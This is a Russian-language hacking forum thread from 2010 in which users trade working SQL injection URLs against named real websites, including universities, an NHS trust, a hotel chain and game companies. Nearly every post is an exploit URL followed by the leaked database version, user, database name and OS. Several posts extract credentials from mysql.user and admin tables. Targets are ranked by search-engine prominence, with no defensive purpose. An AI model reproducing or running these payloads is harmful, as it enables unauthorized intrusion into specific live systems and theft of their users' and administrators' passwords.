SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. ~d0s~

    ~d0s~ Banned

    Joined:
    17 Apr 2010
    Messages:
    246
    Likes Received:
    257
    Reputations:
    154
    Code:
    http://www.jofama.com/fashion/archived_folder.php?id=5-999.9+union+select+concat_ws(0x3a,user(),version(),database(),@@version_compile_os),2,3,4,5,6,7--
    PR 4

    вывод в исходном коде

    version - 5.0.45-log
    user - jofama_se@[email protected]
    database - jofama_se
    os - freebsd6.2
     
    1 person likes this.
  2. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    uri.edu

    http://www.crc.uri.edu/index.php?themeid=-3+union+select+1,2,group_concat(user,char(58),password),4,5,6,7,8+from+mysql.user

    user() : [email protected]

    version() : 4.1.22

    OS : [​IMG]

    PR-7


    тИЦ-230

    PMA
     
    _________________________
    #12362 Konqi, 22 Jun 2010
    Last edited: 22 Jun 2010
    4 people like this.
  3. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.tehimpex.kiev.ua/articleview.php?id=-87+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),6,7,8,9,10


    Database Version: 5.0.45-log
    Database name: tehimpex_db
    User name: tehimpex_root@localhost
    Os: freebsd 6.2
     
  4. ~d0s~

    ~d0s~ Banned

    Joined:
    17 Apr 2010
    Messages:
    246
    Likes Received:
    257
    Reputations:
    154
    Code:
    http://www.music-co.com.ar/nota-novedades.php?n=68-999.9+union+select+1,2,concat_ws(0x3a,version(),user(),database(),@@version_compile_os),4,5,6,7,8,9--
    PR 3

    version - 5.0.67-community
    user - music_music@localhost
    database - music_music
    os - linux-gnu
     
  5. Bramin

    Bramin Banned

    Joined:
    15 May 2009
    Messages:
    187
    Likes Received:
    88
    Reputations:
    27
    http://baltasi.ru/text.php?id=-5+union+select+1,2,3,4,group_concat(0x0b,pass,0x3a3a,name),6+from+2z__users--

    Университет нефти и газа им.Губкина

    http://life.gubkin.ru/polls/about.php?id=-5+union+select+1,2,3,4,group_concat(0x0b,name,0x3a3a,pass,0x3a3a,fam),6+from+users--
     
    #12365 Bramin, 22 Jun 2010
    Last edited: 23 Jun 2010
    3 people like this.
  6. ~d0s~

    ~d0s~ Banned

    Joined:
    17 Apr 2010
    Messages:
    246
    Likes Received:
    257
    Reputations:
    154
    Хостинг-Провайдер какой-то
    Тиц 700
    PR 9
    Code:
    http://ebscohost.com/cinahl/default.php?id=8-999.9+union+select+concat_ws(0x3a,user(),version(),database(),@@version_compile_os),2,3,4,5,6,7,8,9,10,11,12,13,14--
    вывод в исходном коде.

    version - 5.0.18-log
    user - mktgadmin@localhost
    database - epMarketing
    os - suse-linux
     
    4 people like this.
  7. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    http://www.starhotels.com/hotel/rosa_milano/starhotels_rosa.php?idalb=9+and+substring(version(),1,1)=4

    PR-6

    тИЦ-240

     
    _________________________
    2 people like this.
  8. ~d0s~

    ~d0s~ Banned

    Joined:
    17 Apr 2010
    Messages:
    246
    Likes Received:
    257
    Reputations:
    154
    Сборочка № 3

    bromley.nhs.uk тиц 10 pr 4
    Code:
    http://www.bromley.nhs.uk/content.php?page=68-999.9+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17--
    horturba.com тиц 10 pr 4
    Code:
    http://horturba.com/castellano/pagina.php?ID=21-999.9+union+select+1,2,3,4,concat_ws(0x3a,version(),user(),database())--
    gammaprojects.com тиц 20 pr 3
    Code:
    http://www.gammaprojects.com/print/index2.php?ID=11-999.9+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4--

    sonyakeogh.ie pr 3

    Code:
    http://www.sonyakeogh.ie/blank.php?id=22-999.9+union+select+concat_ws(0x3a,version(),user(),database()),2--
    marketing-non-marchand.ch pr 2
    Code:
    http://www.marketing-non-marchand.ch/index2.php?id=1063-999.9+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
    linnartz.nl pr 4
    Code:
    http://www.linnartz.nl/pagina.php?id=3-999.9+union+select+1,concat_ws(0x3a,user(),database(),version()),3--
    triaddiner.com pr 4
    Code:
    http://www.triaddiner.com/rec_view.php?recipeid=9-999.9+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5--
    reeniesrecipes.com pr 2
    Code:
    http://www.reeniesrecipes.com/view.php?recipe_id=165-999.9+union+select+1,2,3,4,concat_ws(0x3a,version(),user(),database()),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31--
    insejec.com.br pr 3
    Code:
    http://www.insejec.com.br/estudos_info.php?content=85-999.9+union+select+1,2,concat_ws(0x3a,version(),user(),database())--
    oecovita.com pr 2
    Code:
    http://www.oecovita.com/print.php?s=70-999.9+union+select+1,concat_ws(0x3a,version(),user(),database())--
    atm2000.es pr 1
    Code:
    http://www.atm2000.es/seccion.php?idseccion=14-999.9+union+select+1,2,3,concat_ws(0x3a,user(),database(),version()),5,6,7,8,9,10,11,12--
    deciudades.com
    Code:
    http://www.deciudades.com/Contenido.php?sec=17-999.9+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5--
    P.S. Если вывод не в середине огромными буквами,это не значит что его нет))).Он также может быть в титле и исходнике.
    P.S.S Следущая сборочка либо завтра,либо через 3 недели в связи с моим отъездом.
     
    #12368 ~d0s~, 23 Jun 2010
    Last edited: 23 Jun 2010
    1 person likes this.
  9. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    http://www.meritalia.it/scheda.php?cat=2&id=97+and+substring(version(),1,1)=5+--+

    PR-4

    тИЦ-30

     
    _________________________
  10. k2b1~

    k2b1~ Banned

    Joined:
    17 Jun 2010
    Messages:
    16
    Likes Received:
    1
    Reputations:
    0
    Duplicate column name '5.0.16-standard' ;)
     
    1 person likes this.
  11. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    http://www2.dse.unibo.it/dsa/profile.php?id=-33+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

    dse.unibo.it

    PR-6
    тИЦ-10


    unibo.it

    PR-8
    тИЦ-475

    Version -- 5.0.41-log

    OS : [​IMG]
     
    _________________________
    1 person likes this.
  12. ~d0s~

    ~d0s~ Banned

    Joined:
    17 Apr 2010
    Messages:
    246
    Likes Received:
    257
    Reputations:
    154
    foothillsgazette.com
    Code:
    http://www.foothillsgazette.com/print.php?s=3-999.9+union+select+1,2,3,4,5,concat_ws(0x3a,version(),user(),database(),@@version_compile_os),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--
    PR 4
    version - 5.0.27-standard
    user - foothill@localhost
    database - foothill_newspaper
    os - linux-gnu


    опа
    Code:
    http://www.foothillsgazette.com/print.php?s=3-999.9+union+select+1,2,3,4,5,group_concat(0x0b,user,0x3a,password,0x3a,host,0x3a,file_priv),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+mysql.user+--
     
  13. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    www.radiozammu.it

    http://www.radiozammu.it/index.php?sez=programma&id=-30+union+select+1,2,3,4,5

    Version : 5.0.51a-24+lenny3

    OS : [​IMG]



    PR-6

    ----
    www.ettu.org

    http://www.ettu.org/news_view.php?id=-2756+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+admin

    version : 4.1.10-standard

    OS : [​IMG]


    PR-6

    ТИЦ-190
     
    _________________________
    #12373 Konqi, 23 Jun 2010
    Last edited: 23 Jun 2010
    2 people like this.
  14. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    MoscowSnab.ru

    Code:
    http://moscowsnab.ru/and/index.php?CID=-5+and+1=2+union+select+1,concat_ws(char(58),@@version,user(),database(),@@version_compile_os)+--
    version : 4.1.25-log
    user : odaxru00_o@localhost
    database : odaxru00_m
    os : portbld-freebsd6.3
     
    1 person likes this.
  15. Bramin

    Bramin Banned

    Joined:
    15 May 2009
    Messages:
    187
    Likes Received:
    88
    Reputations:
    27
    http://www.chris-elgood.co.uk/news_detail.php?id=-9+union+select+1,2,group_concat(0x0b,admin_login,0x3a,admin_password),4,5,6,7,8,9+from+admin--
     
  16. ~d0s~

    ~d0s~ Banned

    Joined:
    17 Apr 2010
    Messages:
    246
    Likes Received:
    257
    Reputations:
    154
    Code:
    http://www.dolphyn.com.br/index.php?section=23-999.9+union+select+1,2,3,4,5,6,7,concat_ws(0x3a,user(),version(),database(),@@version_compile_os),9,10,11,12,13--
    PR 3
    version - 5.0.45
    user - dolphyn@localhost
    database - dolphyn
    os - linux-gnu
     
  17. BlackFan

    BlackFan Member

    Joined:
    3 Jan 2009
    Messages:
    47
    Likes Received:
    40
    Reputations:
    32
    HUDSON
    Code:
    http://www.hudsonent.com/user/tos.php?page_id=-5+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4
    http://www.hudsonent.com/user/tos.php?page_id=-5+union+select+1,2,concat_ws(0x3a,username,user_password,user_level),4+from+bb_user
    user = huds40@localhost
    database = huds40
    version = 5.0.90-community



    Square Enix Mobile
    Code:
    http://www.sqexm.com/games.php?id=8'+union+select+1,2,3,concat_ws(0x3a,user(),version(),database()),5,6,7,8,9,10,11+--+
    user = squser@germanium
    database = mobile_live
    version = 5.1.30-log



    Big Blue Bubble
    Code:
    http://bigbluebubble.com/index.php?page=aboutus&cat_id=118+and+mid(version(),1,1)=5
    version = 5.0.91-log
     
    #12377 BlackFan, 23 Jun 2010
    Last edited: 23 Jun 2010
  18. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    http://www.azbuka-sna.ru/template.php?mode=1&catalog=-10+and+1=2+union+select+1,2,3,4,5,6,7,concat_ws(0x3a,@@version,user(),database(),@@version_compile_os),9+--

    version : 5.0.89-log
    user : [email protected]
    database : srv12686_base
    os : portbld-freebsd8.0
     
  19. ~d0s~

    ~d0s~ Banned

    Joined:
    17 Apr 2010
    Messages:
    246
    Likes Received:
    257
    Reputations:
    154
    Code:
    http://fedexorangebowlmerch.com/holseninc.php?rub=2-999.9+union+select+1,concat_ws(0x3a,user(),version(),database(),@@version_compile_os),3,4,5,6,7,8,9,10,11,12,13,14--
    PR 4
    version - 5.0.77-log
    user - u70563741@cgihost
    databse - d60506463
    os - freebsd6.2
     
  20. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    http://karoknauf.ru/specialoffer/?parent=10&id=-14+union+select+1,2,3,4,5,6,7,concat_ws(char(58),@@version,user(),database(),@@version_compile_os),9,10,11,12+--

    version : 5.0.90-log
    user : [email protected]
    database : u153178
    os : portbld-freebsd7.2
     
    1 person likes this.
Thread Status:
Not open for further replies.